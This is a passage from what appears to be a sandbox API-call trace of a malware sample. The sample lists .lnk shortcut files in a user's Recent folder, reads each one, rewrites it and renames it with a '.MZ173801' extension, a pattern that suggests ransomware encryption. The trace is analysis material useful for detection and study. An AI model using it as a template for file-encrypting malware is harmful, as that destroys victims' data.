HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6bT8WXgaafX4.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6bt8wxgaafx4.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeead4e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdeead4e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdeead4e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa4d)) returned 1 [0120.747] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.747] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.748] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6bT8WXgaafX4.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6bt8wxgaafx4.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.749] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.749] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.749] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xa4d [0120.749] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.749] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa4d, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xa4d, lpOverlapped=0x0) returned 1 [0120.750] CloseHandle (hObject=0x288) returned 1 [0120.750] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6bT8WXgaafX4.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6bt8wxgaafx4.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.751] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa4d, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xa4d, lpOverlapped=0x0) returned 1 [0120.752] CloseHandle (hObject=0x288) returned 1 [0120.757] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6bT8WXgaafX4.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6bt8wxgaafx4.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6bT8WXgaafX4.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6bt8wxgaafx4.lnk.mz173801")) returned 1 [0120.763] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde8dff40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf6b5f20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf6b5f20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe12, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="6qa-y.lnk", cAlternateFileName="")) returned 1 [0120.763] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.763] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.763] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6qa-y.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6qa-y.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde8dff40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf6b5f20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf6b5f20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe12)) returned 1 [0120.764] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.764] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.766] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6qa-y.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6qa-y.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.766] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.766] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.766] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xe12 [0120.766] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.766] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xe12, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xe12, lpOverlapped=0x0) returned 1 [0120.767] CloseHandle (hObject=0x288) returned 1 [0120.767] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6qa-y.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6qa-y.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.768] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xe12, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xe12, lpOverlapped=0x0) returned 1 [0120.769] CloseHandle (hObject=0x288) returned 1 [0120.781] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6qa-y.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6qa-y.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6qa-y.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6qa-y.lnk.mz173801")) returned 1 [0120.782] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4dba20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf774600, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf774600, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x973, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="6sxGhE_.lnk", cAlternateFileName="")) returned 1 [0120.782] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, 